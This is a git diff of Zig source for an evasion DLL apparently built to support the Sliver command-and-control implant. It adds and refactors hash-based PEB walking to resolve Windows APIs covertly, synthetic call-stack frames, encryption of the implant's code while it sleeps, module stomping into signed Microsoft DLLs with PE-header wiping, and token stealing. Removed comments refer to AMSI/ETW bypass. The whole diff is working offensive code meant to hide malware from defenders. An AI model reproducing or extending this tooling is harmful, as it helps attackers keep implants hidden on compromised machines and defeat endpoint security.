if ((info.VersionAndFlags & UNW_FLAG_CHAININFO) != 0) { if ((info.VersionAndFlags & UNW_FLAG_CHAININFO) != 0) {
idx = info.CountOfCodes; idx = info.CountOfCodes;
if ((idx & 1) != 0) idx += 1; if ((idx & 1) != 0) idx += 1;
@@ -87,13 +89,13 @@ fn calc_frame_size(mod_base: [*]const u8, unwind_rva: u32, out_size: *usize) boo
return true; return true;
} }
// Binary search .pdata for unwind entry covering the given RVA. // Binary search .pdata exception directory for the RUNTIME_FUNCTION covering target_rva.
fn find_runtime_entry(target_rva: u32) ?struct { begin: u32, unwind: u32 } { fn find_runtime_entry(target_rva: u32) ?struct { begin: u32, unwind: u32 } {
const exc_begin = syscall.g_exc_begin; const exc_begin = syscall.g_exc_begin;
const exc_count = syscall.g_exc_count; const exc_count = syscall.g_exc_count;
if (exc_begin == 0 or exc_count == 0) return null; if (exc_begin == 0 or exc_count == 0) return null;
const funcs = @as([*]align(1) const syscall.RUNTIME_FUNCTION, @ptrFromInt(exc_begin)); const funcs: [*]align(1) const syscall.RUNTIME_FUNCTION = @ptrFromInt(exc_begin);
var lo: usize = 0; var lo: usize = 0;
var hi: usize = exc_count; var hi: usize = exc_count;
while (lo < hi) { while (lo < hi) {
@@ -110,41 +112,37 @@ fn find_runtime_entry(target_rva: u32) ?struct { begin: u32, unwind: u32 } {
return null; return null;
} }
// Find the RVA of a named export in a module.
fn export_rva(mod: [*]const u8, name: []const u8) ?u32 { fn export_rva(mod: [*]const u8, name: []const u8) ?u32 {
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@constCast(mod))); const dos: *align(1) const pe.IMAGE_DOS_HEADER = @ptrCast(@alignCast(mod));
if (dos.e_magic != 0x5A4D) return null; if (dos.e_magic != 0x5A4D) return null;
const nt = @as(*align(1) extern struct { const nt_hdrs: *align(1) const pe.IMAGE_NT_HEADERS64 = @ptrCast(@alignCast(
Signature: u32, mod + @as(usize, @intCast(dos.e_lfanew)),
FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 }, ));
OptionalHeader: extern struct { Magic: u16, pad: [110]u8, DataDirectory: [16]extern struct { VirtualAddress: u32, Size: u32 } }, if (nt_hdrs.Signature != 0x00004550) return null;
}, @ptrCast(@constCast(mod + @as(usize, @intCast(dos.e_lfanew)))));
if (nt.Signature != 0x00004550) return null;
const exp_dir = nt.OptionalHeader.DataDirectory[0]; const exp_dir = nt_hdrs.OptionalHeader.DataDirectory[0];
if (exp_dir.VirtualAddress == 0) return null; if (exp_dir.VirtualAddress == 0) return null;
const exp = @as(*align(1) extern struct { const exp: *align(1) const pe.IMAGE_EXPORT_DIRECTORY = @ptrCast(@alignCast(
Characteristics: u32, mod + @as(usize, @intCast(exp_dir.VirtualAddress)),
TimeDateStamp: u32, ));
MajorVersion: u16,
MinorVersion: u16,
Name: u32,
Base: u32,
NumberOfFunctions: u32,
NumberOfNames: u32,
AddressOfFunctions: u32,
AddressOfNames: u32,
AddressOfNameOrdinals: u32,
}, @ptrCast(@constCast(mod + @as(usize, @intCast(exp_dir.VirtualAddress)))));
const names = @as([*]u32, @ptrCast(@alignCast(@constCast(mod + @as(usize, @intCast(exp.AddressOfNames)))))); const names: [*]align(1) const u32 = @ptrCast(@alignCast(
const funcs = @as([*]u32, @ptrCast(@alignCast(@constCast(mod + @as(usize, @intCast(exp.AddressOfFunctions)))))); @as([*]const u8, @ptrCast(mod)) + exp.AddressOfNames,
const ords = @as([*]u16, @ptrCast(@alignCast(@constCast(mod + @as(usize, @intCast(exp.AddressOfNameOrdinals)))))); ));
const funcs: [*]align(1) const u32 = @ptrCast(@alignCast(
@as([*]const u8, @ptrCast(mod)) + exp.AddressOfFunctions,
));
const ords: [*]align(1) const u16 = @ptrCast(@alignCast(
@as([*]const u8, @ptrCast(mod)) + exp.AddressOfNameOrdinals,
));
var i: u32 = 0; for (0..exp.NumberOfNames) |i| {
while (i < exp.NumberOfNames) : (i += 1) { const n: [*:0]const u8 = @ptrCast(@alignCast(
const n = @as([*:0]const u8, @ptrCast(@alignCast(@constCast(mod + @as(usize, @intCast(names[i])))))); @as([*]const u8, @ptrCast(mod)) + names[i],
));
if (std.mem.eql(u8, std.mem.sliceTo(n, 0), name)) { if (std.mem.eql(u8, std.mem.sliceTo(n, 0), name)) {
if (ords[i] < exp.NumberOfFunctions) { if (ords[i] < exp.NumberOfFunctions) {
return funcs[ords[i]]; return funcs[ords[i]];
@@ -154,13 +152,14 @@ fn export_rva(mod: [*]const u8, name: []const u8) ?u32 {
return null; return null;
} }
// Called once at DLL init. Results stored in asm globals used by evasion_sleep.
pub fn init_frames() void { pub fn init_frames() void {
if (qFakeRtlUserThreadStart != 0) return; if (qFakeRtlUserThreadStart != 0) return;
const ntdll = resolve.get_module_by_hash(resolve.hash_ror13("ntdll.dll")) orelse return; const ntdll = resolve.get_module_by_hash(resolve.hash_ror13("ntdll.dll")) orelse return;
const k32 = resolve.get_module_by_hash(resolve.hash_ror13("kernel32.dll")) orelse return; const k32 = resolve.get_module_by_hash(resolve.hash_ror13("kernel32.dll")) orelse return;
const ntdll_bytes = @as([*]const u8, @ptrCast(ntdll)); const ntdll_bytes: [*]const u8 = @ptrCast(ntdll);
const k32_bytes = @as([*]const u8, @ptrCast(k32)); const k32_bytes: [*]const u8 = @ptrCast(k32);
const btit_rva = export_rva(k32_bytes, "BaseThreadInitThunk") orelse return; const btit_rva = export_rva(k32_bytes, "BaseThreadInitThunk") orelse return;
if (find_runtime_entry(btit_rva)) |entry| { if (find_runtime_entry(btit_rva)) |entry| {
+1 -8
View File
@@ -1,7 +1,4 @@
// Valak evasion DLL, drop-in sleep obfuscation and AMSI/ETW bypass. // DLL exports for the Sliver Go bridge.
// Built for Sliver, protocol-agnostic. Exports resolved at runtime by Go bridge.
// Follows Windows x64 ABI.
const api = @import("api.zig"); const api = @import("api.zig");
const syscall = @import("syscall.zig"); const syscall = @import("syscall.zig");
const frames = @import("frames.zig"); const frames = @import("frames.zig");
@@ -48,13 +45,10 @@ export fn is_relocated() bool {
return stomp.g_evasion_relocated; return stomp.g_evasion_relocated;
} }
// Tell the DLL where the host implant's .text is for encrypted sleep.
export fn init_text_region(base: [*]u8, size: usize) void { export fn init_text_region(base: [*]u8, size: usize) void {
sleep.init_text_region(base, size); sleep.init_text_region(base, size);
} }
// DllMain calls into here from the asm trampoline. Synthetic callstack frames
// through kernel32!BaseThreadInitThunk and ntdll!RtlUserThreadStart built before us.
export fn evasion_sleep_inner(ms: u32) void { export fn evasion_sleep_inner(ms: u32) void {
ensure(); ensure();
sleep.evasion_sleep(ms); sleep.evasion_sleep(ms);
@@ -77,7 +71,6 @@ export fn steal_token(pid: u32) bool {
ensure(); ensure();
return token.stealToken(pid); return token.stealToken(pid);
} }
export fn rev2self() bool { export fn rev2self() bool {
ensure(); ensure();
return token.rev2self(); return token.rev2self();
+125
View File
@@ -0,0 +1,125 @@
const std = @import("std");
const windows = std.os.windows;
pub const WINAPI: std.builtin.CallingConvention = .winapi;
// Page protection constants for NtProtectVirtualMemory.
// https://ntdoc.m417z.com/ntprotectvirtualmemory
pub const PAGE_NOACCESS: windows.ULONG = 0x01;
pub const PAGE_READONLY: windows.ULONG = 0x02;
pub const PAGE_READWRITE: windows.ULONG = 0x04;
pub const PAGE_EXECUTE_READ: windows.ULONG = 0x20;
pub const PAGE_EXECUTE_READWRITE: windows.ULONG = 0x40;
pub const CONTEXT_DEBUG_REGISTERS: windows.DWORD = 0x00100010;
pub const EXCEPTION_SINGLE_STEP: windows.DWORD = 0x80000004;
pub const EXCEPTION_CONTINUE_EXECUTION: windows.LONG = -1;
pub const EXCEPTION_CONTINUE_SEARCH: windows.LONG = 0;
// https://ntdoc.m417z.com/object_attributes
pub const OBJ_CASE_INSENSITIVE: windows.ULONG = 0x00000040;
// https://ntdoc.m417z.com/unicode_string
pub const UNICODE_STRING = extern struct {
Length: u16,
MaximumLength: u16,
Buffer: [*]u16,
};
// https://ntdoc.m417z.com/object_attributes
pub const OBJECT_ATTRIBUTES = extern struct {
Length: windows.ULONG,
RootDirectory: ?windows.HANDLE,
ObjectName: ?*UNICODE_STRING,
Attributes: windows.ULONG,
SecurityDescriptor: ?*anyopaque,
SecurityQualityOfService: ?*anyopaque,
};
// https://ntdoc.m417z.com/client_id
pub const CLIENT_ID = extern struct {
UniqueProcess: windows.HANDLE,
UniqueThread: ?windows.HANDLE,
};
// https://ntdoc.m417z.com/token_type
pub const TOKEN_TYPE = enum(u32) {
TokenPrimary = 1,
TokenImpersonation = 2,
};
pub const PROCESS_QUERY_LIMITED_INFORMATION: windows.DWORD = 0x1000;
pub const MAXIMUM_ALLOWED: windows.DWORD = 0x02000000;
// Access rights for NtOpenProcessToken.
// https://ntdoc.m417z.com/ntopenprocesstoken
pub const TOKEN_DUPLICATE: windows.DWORD = 0x0002;
pub const TOKEN_QUERY: windows.DWORD = 0x0008;
pub const TOKEN_IMPERSONATE: windows.DWORD = 0x0004;
// https://ntdoc.m417z.com/ntopensection
pub const SECTION_MAP_READ: windows.DWORD = 0x0004;
pub const CONTEXT = extern struct {
P1Home: windows.DWORD64,
P2Home: windows.DWORD64,
P3Home: windows.DWORD64,
P4Home: windows.DWORD64,
P5Home: windows.DWORD64,
P6Home: windows.DWORD64,
ContextFlags: windows.DWORD,
MxCsr: windows.DWORD,
SegCs: windows.WORD,
SegDs: windows.WORD,
SegEs: windows.WORD,
SegFs: windows.WORD,
SegGs: windows.WORD,
SegSs: windows.WORD,
EFlags: windows.DWORD,
Dr0: windows.DWORD64,
Dr1: windows.DWORD64,
Dr2: windows.DWORD64,
Dr3: windows.DWORD64,
Dr6: windows.DWORD64,
Dr7: windows.DWORD64,
Rax: windows.DWORD64,
Rcx: windows.DWORD64,
Rdx: windows.DWORD64,
Rbx: windows.DWORD64,
Rsp: windows.DWORD64,
Rbp: windows.DWORD64,
Rsi: windows.DWORD64,
Rdi: windows.DWORD64,
R8: windows.DWORD64,
R9: windows.DWORD64,
R10: windows.DWORD64,
R11: windows.DWORD64,
R12: windows.DWORD64,
R13: windows.DWORD64,
R14: windows.DWORD64,
R15: windows.DWORD64,
Rip: windows.DWORD64,
};
pub const EXCEPTION_RECORD = extern struct {
ExceptionCode: windows.DWORD,
ExceptionFlags: windows.DWORD,
ExceptionRecord: *EXCEPTION_RECORD,
ExceptionAddress: *anyopaque,
NumberParameters: windows.DWORD,
ExceptionInformation: [15]windows.ULONG_PTR,
};
pub const EXCEPTION_POINTERS = extern struct {
ExceptionRecord: *EXCEPTION_RECORD,
ContextRecord: *CONTEXT,
};
pub inline fn NT_SUCCESS(status: windows.NTSTATUS) bool {
return @as(i32, @bitCast(@intFromEnum(status))) >= 0;
}
pub fn FALSE_BOOL() windows.BOOLEAN {
return @enumFromInt(@as(u8, 0));
}
+47 -35
View File
@@ -1,6 +1,7 @@
// PEB-based module and function resolution, everything resolved at runtime. // peb-based runtime api resolution. walks InMemoryOrderModuleList via gs:[0x60].
// ror13 hash on module + export names, no GetProcAddress or GetModuleHandle needed.
const std = @import("std"); const std = @import("std");
const win = @import("win32.zig"); const windows = std.os.windows;
const pe = @import("pe.zig"); const pe = @import("pe.zig");
pub const LIST_ENTRY = extern struct { pub const LIST_ENTRY = extern struct {
@@ -9,10 +10,10 @@ pub const LIST_ENTRY = extern struct {
}; };
pub const PEB_LDR_DATA = extern struct { pub const PEB_LDR_DATA = extern struct {
Length: win.ULONG, Length: windows.ULONG,
Initialized: win.BYTE, Initialized: windows.BYTE,
Padding: [3]win.BYTE, Padding: [3]windows.BYTE,
SsHandle: win.LPVOID, SsHandle: windows.LPVOID,
InLoadOrderModuleList: LIST_ENTRY, InLoadOrderModuleList: LIST_ENTRY,
InMemoryOrderModuleList: LIST_ENTRY, InMemoryOrderModuleList: LIST_ENTRY,
InInitializationOrderModuleList: LIST_ENTRY, InInitializationOrderModuleList: LIST_ENTRY,
@@ -22,23 +23,21 @@ pub const LDR_DATA_TABLE_ENTRY = extern struct {
InLoadOrderLinks: LIST_ENTRY, InLoadOrderLinks: LIST_ENTRY,
InMemoryOrderLinks: LIST_ENTRY, InMemoryOrderLinks: LIST_ENTRY,
InInitializationOrderLinks: LIST_ENTRY, InInitializationOrderLinks: LIST_ENTRY,
DllBase: win.LPVOID, DllBase: windows.LPVOID,
EntryPoint: win.LPVOID, EntryPoint: windows.LPVOID,
SizeOfImage: win.ULONG, SizeOfImage: windows.ULONG,
FullDllName: win.UNICODE_STRING, FullDllName: windows.UNICODE_STRING,
BaseDllName: win.UNICODE_STRING, BaseDllName: windows.UNICODE_STRING,
}; };
// PEB at GS:0x60 on x64.
pub const PEB = extern struct { pub const PEB = extern struct {
Reserved1: [2]win.BYTE, Reserved1: [2]windows.BYTE,
BeingDebugged: win.BYTE, BeingDebugged: windows.BYTE,
Reserved2: [1]win.BYTE, Reserved2: [1]windows.BYTE,
Reserved3: [2]win.LPVOID, Reserved3: [2]windows.LPVOID,
Ldr: *PEB_LDR_DATA, Ldr: *PEB_LDR_DATA,
}; };
// ror13 hash, case-insensitive.
pub fn hash_ror13(input: []const u8) u32 { pub fn hash_ror13(input: []const u8) u32 {
var hash: u32 = 0; var hash: u32 = 0;
for (input) |c| { for (input) |c| {
@@ -60,19 +59,18 @@ pub fn get_peb() *PEB {
pub fn get_module_by_hash(hash: u32) ?*anyopaque { pub fn get_module_by_hash(hash: u32) ?*anyopaque {
const peb_ptr = get_peb(); const peb_ptr = get_peb();
const ldr = peb_ptr.Ldr; const ldr = peb_ptr.Ldr;
const head = @as(*LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList)); const head: *LIST_ENTRY = @ptrCast(&ldr.InMemoryOrderModuleList);
var entry = head.Flink; var entry = head.Flink;
while (entry != head) : (entry = entry.Flink) { while (entry != head) : (entry = entry.Flink) {
const le: *LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks"))))); const le: *LDR_DATA_TABLE_ENTRY = @fieldParentPtr("InMemoryOrderLinks", entry);
if (le.BaseDllName.Length == 0) continue; if (le.BaseDllName.Length == 0) continue;
const buf = le.BaseDllName.Buffer; const buf = le.BaseDllName.Buffer orelse continue;
const len = le.BaseDllName.Length / 2; const len = le.BaseDllName.Length / 2;
var mod_hash: u32 = 0; var mod_hash: u32 = 0;
var i: usize = 0; for (0..len) |i| {
while (i < len) : (i += 1) {
var c = buf[i]; var c = buf[i];
if (c >= 'a' and c <= 'z') c -= 32; if (c >= 'a' and c <= 'z') c -= 32;
mod_hash = (mod_hash >> 13) | (mod_hash << 19); mod_hash = (mod_hash >> 13) | (mod_hash << 19);
@@ -86,7 +84,9 @@ pub fn get_module_by_hash(hash: u32) ?*anyopaque {
} }
fn resolve_forward_string(base_bytes: [*]u8, forward_rva: u32) ?*anyopaque { fn resolve_forward_string(base_bytes: [*]u8, forward_rva: u32) ?*anyopaque {
const forward_str = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(forward_rva))))); const forward_str = @as([*:0]u8, @ptrCast(@alignCast(
base_bytes + @as(usize, @intCast(forward_rva)),
)));
const str = std.mem.sliceTo(forward_str, 0); const str = std.mem.sliceTo(forward_str, 0);
const dot_pos = std.mem.indexOfScalar(u8, str, '.') orelse return null; const dot_pos = std.mem.indexOfScalar(u8, str, '.') orelse return null;
const dll_hash = hash_ror13(str[0..dot_pos]); const dll_hash = hash_ror13(str[0..dot_pos]);
@@ -96,29 +96,42 @@ fn resolve_forward_string(base_bytes: [*]u8, forward_rva: u32) ?*anyopaque {
} }
pub fn get_func_by_hash(base: *anyopaque, func_hash: u32) ?*anyopaque { pub fn get_func_by_hash(base: *anyopaque, func_hash: u32) ?*anyopaque {
const base_bytes = @as([*]u8, @ptrCast(base)); const base_bytes: [*]u8 = @ptrCast(base);
const dos = @as(*pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(base_bytes))); const dos: *align(1) const pe.IMAGE_DOS_HEADER = @ptrCast(@alignCast(base_bytes));
if (dos.e_magic != 0x5A4D) return null; if (dos.e_magic != 0x5A4D) return null;
const nt = @as(*pe.IMAGE_NT_HEADERS64, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(dos.e_lfanew))))); const nt: *align(1) const pe.IMAGE_NT_HEADERS64 = @ptrCast(@alignCast(
base_bytes + @as(usize, @intCast(dos.e_lfanew)),
));
if (nt.Signature != 0x00004550) return null; if (nt.Signature != 0x00004550) return null;
const export_dir = nt.OptionalHeader.DataDirectory[0]; const export_dir = nt.OptionalHeader.DataDirectory[0];
if (export_dir.VirtualAddress == 0 or export_dir.Size == 0) return null; if (export_dir.VirtualAddress == 0 or export_dir.Size == 0) return null;
const exp = @as(*pe.IMAGE_EXPORT_DIRECTORY, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(export_dir.VirtualAddress))))); const exp: *align(1) const pe.IMAGE_EXPORT_DIRECTORY = @ptrCast(@alignCast(
base_bytes + @as(usize, @intCast(export_dir.VirtualAddress)),
));
if (exp.NumberOfNames == 0 or exp.AddressOfFunctions == 0 or exp.AddressOfNames == 0 or exp.AddressOfNameOrdinals == 0) return null; if (exp.NumberOfNames == 0 or exp.AddressOfFunctions == 0 or
exp.AddressOfNames == 0 or exp.AddressOfNameOrdinals == 0) return null;
const names = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNames))))); const names: [*]align(1) const u32 = @ptrCast(@alignCast(
const funcs = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfFunctions))))); base_bytes + @as(usize, @intCast(exp.AddressOfNames)),
const ords = @as([*]u16, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals))))); ));
const funcs: [*]align(1) const u32 = @ptrCast(@alignCast(
base_bytes + @as(usize, @intCast(exp.AddressOfFunctions)),
));
const ords: [*]align(1) const u16 = @ptrCast(@alignCast(
base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals)),
));
var i: u32 = 0; var i: u32 = 0;
while (i < exp.NumberOfNames) : (i += 1) { while (i < exp.NumberOfNames) : (i += 1) {
if (names[i] == 0) continue; if (names[i] == 0) continue;
const name_ptr = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(names[i]))))); const name_ptr: [*:0]const u8 = @ptrCast(@alignCast(
base_bytes + @as(usize, @intCast(names[i])),
));
const name = std.mem.sliceTo(name_ptr, 0); const name = std.mem.sliceTo(name_ptr, 0);
if (hash_ror13(name) == func_hash) { if (hash_ror13(name) == func_hash) {
@@ -138,7 +151,6 @@ pub fn get_func_by_hash(base: *anyopaque, func_hash: u32) ?*anyopaque {
var cached_kernel32: ?*anyopaque = null; var cached_kernel32: ?*anyopaque = null;
var cached_ntdll: ?*anyopaque = null; var cached_ntdll: ?*anyopaque = null;
// Three-tier: specific module, then kernel32, then ntdll, then full PEB walk.
pub fn resolve_api(module_hash: u32, func_hash: u32) ?*anyopaque { pub fn resolve_api(module_hash: u32, func_hash: u32) ?*anyopaque {
if (module_hash != 0) { if (module_hash != 0) {
if (get_module_by_hash(module_hash)) |base| { if (get_module_by_hash(module_hash)) |base| {
@@ -158,11 +170,11 @@ pub fn resolve_api(module_hash: u32, func_hash: u32) ?*anyopaque {
const peb_ptr = get_peb(); const peb_ptr = get_peb();
const ldr = peb_ptr.Ldr; const ldr = peb_ptr.Ldr;
const head = @as(*LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList)); const head: *LIST_ENTRY = @ptrCast(&ldr.InMemoryOrderModuleList);
var entry = head.Flink; var entry = head.Flink;
while (entry != head) : (entry = entry.Flink) { while (entry != head) : (entry = entry.Flink) {
const le: *LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks"))))); const le: *LDR_DATA_TABLE_ENTRY = @fieldParentPtr("InMemoryOrderLinks", entry);
if (cached_kernel32) |ck| if (le.DllBase == ck) continue; if (cached_kernel32) |ck| if (le.DllBase == ck) continue;
if (cached_ntdll) |cn| if (le.DllBase == cn) continue; if (cached_ntdll) |cn| if (le.DllBase == cn) continue;
+14 -18
View File
@@ -1,16 +1,16 @@
// SystemFunction040/041 are advapi32 exports wrapping RtlEncryptMemory (kernel ChaCha20).
const api = @import("api.zig"); const api = @import("api.zig");
const syscall = @import("syscall.zig"); const syscall = @import("syscall.zig");
const win = @import("win32.zig"); const nt = @import("nt.zig");
var g_go_text_base: ?[*]u8 = null; var g_go_text_base: ?[*]u8 = null;
var g_go_text_size: usize = 0; var g_go_text_size: usize = 0;
const RTL_ENCRYPT_MEMORY_SIZE: win.ULONG = 8; const RTL_ENCRYPT_MEMORY_SIZE: u32 = 8;
// Pad size to multiple of RTL_ENCRYPT_MEMORY_SIZE. fn padded_size(size: usize) u32 {
fn padded_size(size: usize) win.ULONG { const s: u32 = @intCast(size);
const s: win.ULONG = @intCast(size); return (s + (RTL_ENCRYPT_MEMORY_SIZE - 1)) & ~@as(u32, RTL_ENCRYPT_MEMORY_SIZE - 1);
return (s + (RTL_ENCRYPT_MEMORY_SIZE - 1)) & ~@as(win.ULONG, RTL_ENCRYPT_MEMORY_SIZE - 1);
} }
pub fn init_text_region(base: [*]u8, size: usize) void { pub fn init_text_region(base: [*]u8, size: usize) void {
@@ -18,12 +18,10 @@ pub fn init_text_region(base: [*]u8, size: usize) void {
g_go_text_size = size; g_go_text_size = size;
} }
// ChaCha20-encrypts .text via SystemFunction040, sleeps via NtDelayExecution,
// decrypts on wake. During sleep .text is PAGE_NOACCESS.
pub fn evasion_sleep(ms: u32) void { pub fn evasion_sleep(ms: u32) void {
if (g_go_text_base == null or g_go_text_size == 0) { if (g_go_text_base == null or g_go_text_size == 0) {
var interval: win.LARGE_INTEGER = -(@as(i64, @intCast(ms)) * 10000); var interval: i64 = -(@as(i64, @intCast(ms)) * 10000);
_ = syscall.nt_delay_execution(0, &interval); _ = syscall.nt_delay_execution(nt.FALSE_BOOL(), &interval);
return; return;
} }
@@ -31,23 +29,22 @@ pub fn evasion_sleep(ms: u32) void {
const size = g_go_text_size; const size = g_go_text_size;
const padded = padded_size(size); const padded = padded_size(size);
// Encrypt .text with ChaCha20
if (api.sleep_SystemFunction040) |enc| { if (api.sleep_SystemFunction040) |enc| {
_ = enc(base, padded, 0); _ = enc(base, padded, 0);
} }
var ptr: ?*anyopaque = base; var ptr: ?*anyopaque = base;
var sz: win.SIZE_T = size; var sz: usize = size;
var old: win.ULONG = 0; var old: u32 = 0;
_ = syscall.nt_protect_virtual_memory( _ = syscall.nt_protect_virtual_memory(
syscall.nt_current_process(), syscall.nt_current_process(),
&ptr, &ptr,
&sz, &sz,
win.PAGE_NOACCESS, nt.PAGE_NOACCESS,
&old, &old,
); );
var interval: win.LARGE_INTEGER = -(@as(i64, @intCast(ms)) * 10000); var interval: i64 = -(@as(i64, @intCast(ms)) * 10000);
_ = syscall.nt_delay_execution(0, &interval); _ = syscall.nt_delay_execution(nt.FALSE_BOOL(), &interval);
ptr = base; ptr = base;
sz = size; sz = size;
@@ -55,11 +52,10 @@ pub fn evasion_sleep(ms: u32) void {
syscall.nt_current_process(), syscall.nt_current_process(),
&ptr, &ptr,
&sz, &sz,
win.PAGE_EXECUTE_READ, nt.PAGE_EXECUTE_READ,
&old, &old,
); );
// Decrypt .text with ChaCha20
if (api.sleep_SystemFunction041) |dec| { if (api.sleep_SystemFunction041) |dec| {
_ = dec(base, padded, 0); _ = dec(base, padded, 0);
} }
+31 -28
View File
@@ -1,13 +1,15 @@
// Copies .text into a signed Microsoft DLL, wipes PE headers. const std = @import("std");
// Backing-file integrity checks catch this. PE header zeroing is a known signature. const windows = std.os.windows;
// RWX on signed Microsoft DLL triggers behavioral alert. const nt = @import("nt.zig");
const win = @import("win32.zig");
const resolve = @import("resolve.zig"); const resolve = @import("resolve.zig");
const syscall = @import("syscall.zig"); const syscall = @import("syscall.zig");
const pe = @import("pe.zig"); const pe = @import("pe.zig");
pub var g_evasion_relocated: bool = false; pub var g_evasion_relocated: bool = false;
// Overwrite a signed Microsoft DLL's .text with our .text, then zero our PE headers.
// Backing-file integrity checks catch this. PE header zeroing is a known signature.
// RWX on signed Microsoft DLL triggers behavioral alert. Minimalist, not bulletproof.
pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque { pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
const targets = [_][]const u8{ "crypt32.dll", "dwrite.dll", "msvcp_win.dll" }; const targets = [_][]const u8{ "crypt32.dll", "dwrite.dll", "msvcp_win.dll" };
@@ -15,27 +17,26 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
const peb = resolve.get_peb(); const peb = resolve.get_peb();
const ldr = peb.Ldr; const ldr = peb.Ldr;
const head = @as(*resolve.LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList)); const head: *resolve.LIST_ENTRY = @ptrCast(&ldr.InMemoryOrderModuleList);
var target_base: ?*anyopaque = null; var target_base: ?*anyopaque = null;
var target_size: usize = 0; var target_size: usize = 0;
var entry = head.Flink; var entry = head.Flink;
while (entry != head) : (entry = entry.Flink) { while (entry != head) : (entry = entry.Flink) {
const le: *resolve.LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(resolve.LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks"))))); const le: *resolve.LDR_DATA_TABLE_ENTRY = @fieldParentPtr("InMemoryOrderLinks", entry);
if (@intFromPtr(le.DllBase) == 0 or le.BaseDllName.Length == 0) continue; if (@intFromPtr(le.DllBase) == 0 or le.BaseDllName.Length == 0) continue;
if (target_base == null) { if (target_base == null) {
const buf = le.BaseDllName.Buffer; const buf = le.BaseDllName.Buffer orelse continue;
const len = le.BaseDllName.Length / 2; const len = le.BaseDllName.Length / 2;
for (targets) |target| { for (targets) |target| {
if (target.len == len) { if (target.len == len) {
var matches = true; var matches = true;
var ci: usize = 0; for (0..len) |i| {
while (ci < len) : (ci += 1) { var c1 = buf[i];
var c1 = buf[ci]; var c2 = target[i];
var c2 = target[ci];
if (c1 >= 'A' and c1 <= 'Z') c1 += 32; if (c1 >= 'A' and c1 <= 'Z') c1 += 32;
if (c2 >= 'A' and c2 <= 'Z') c2 += 32; if (c2 >= 'A' and c2 <= 'Z') c2 += 32;
if (c1 != c2) { if (c1 != c2) {
@@ -57,20 +58,22 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
if (target_base == null) return null; if (target_base == null) return null;
const own_bytes = @as([*]u8, @ptrCast(our_base.?)); const own_bytes: [*]u8 = @ptrCast(our_base.?);
const dos = @as(*const pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(own_bytes))); const dos: *align(1) const pe.IMAGE_DOS_HEADER = @ptrCast(@alignCast(own_bytes));
if (dos.e_magic != 0x5A4D) return null; if (dos.e_magic != 0x5A4D) return null;
const nt = @as(*const pe.IMAGE_NT_HEADERS64, @ptrCast(@alignCast(own_bytes + @as(usize, @intCast(dos.e_lfanew))))); const nt_headers: *align(1) const pe.IMAGE_NT_HEADERS64 = @ptrCast(@alignCast(
if (nt.Signature != 0x00004550) return null; own_bytes + @as(usize, @intCast(dos.e_lfanew)),
));
if (nt_headers.Signature != 0x00004550) return null;
const section_off = @as(usize, @intCast(dos.e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64); const section_off = @as(usize, @intCast(dos.e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64);
const sections = @as([*]const pe.IMAGE_SECTION_HEADER, @ptrCast(@alignCast(own_bytes + section_off))); const sections: [*]align(1) const pe.IMAGE_SECTION_HEADER = @ptrCast(@alignCast(own_bytes + section_off));
var text_start: ?*anyopaque = null; var text_start: ?*anyopaque = null;
var text_size: usize = 0; var text_size: usize = 0;
for (0..nt.FileHeader.NumberOfSections) |i| { for (0..nt_headers.FileHeader.NumberOfSections) |i| {
if (sections[i].Name[0] == '.' and sections[i].Name[1] == 't' and sections[i].Name[2] == 'e' and sections[i].Name[3] == 'x' and sections[i].Name[4] == 't') { if (std.mem.eql(u8, sections[i].Name[0..5], ".text") and sections[i].Name[5] == 0) {
text_start = @as(*anyopaque, @ptrCast(own_bytes + sections[i].VirtualAddress)); text_start = @as(*anyopaque, @ptrCast(own_bytes + sections[i].VirtualAddress));
text_size = sections[i].VirtualSize; text_size = sections[i].VirtualSize;
break; break;
@@ -80,33 +83,33 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
if (text_start == null or text_size == 0) return null; if (text_start == null or text_size == 0) return null;
var target_mut: ?*anyopaque = target_base; var target_mut: ?*anyopaque = target_base;
var region_size: win.SIZE_T = target_size; var region_size: windows.SIZE_T = target_size;
var old_prot: win.ULONG = 0; var old_prot: windows.ULONG = 0;
const st = syscall.nt_protect_virtual_memory( const st = syscall.nt_protect_virtual_memory(
syscall.nt_current_process(), syscall.nt_current_process(),
&target_mut, &target_mut,
&region_size, &region_size,
win.PAGE_EXECUTE_READWRITE, nt.PAGE_EXECUTE_READWRITE,
&old_prot, &old_prot,
); );
if (!win.NT_SUCCESS(st)) return null; if (!nt.NT_SUCCESS(st)) return null;
const dest = @as([*]u8, @ptrCast(target_mut orelse target_base.?)); const dest: [*]u8 = @ptrCast(target_mut orelse target_base.?);
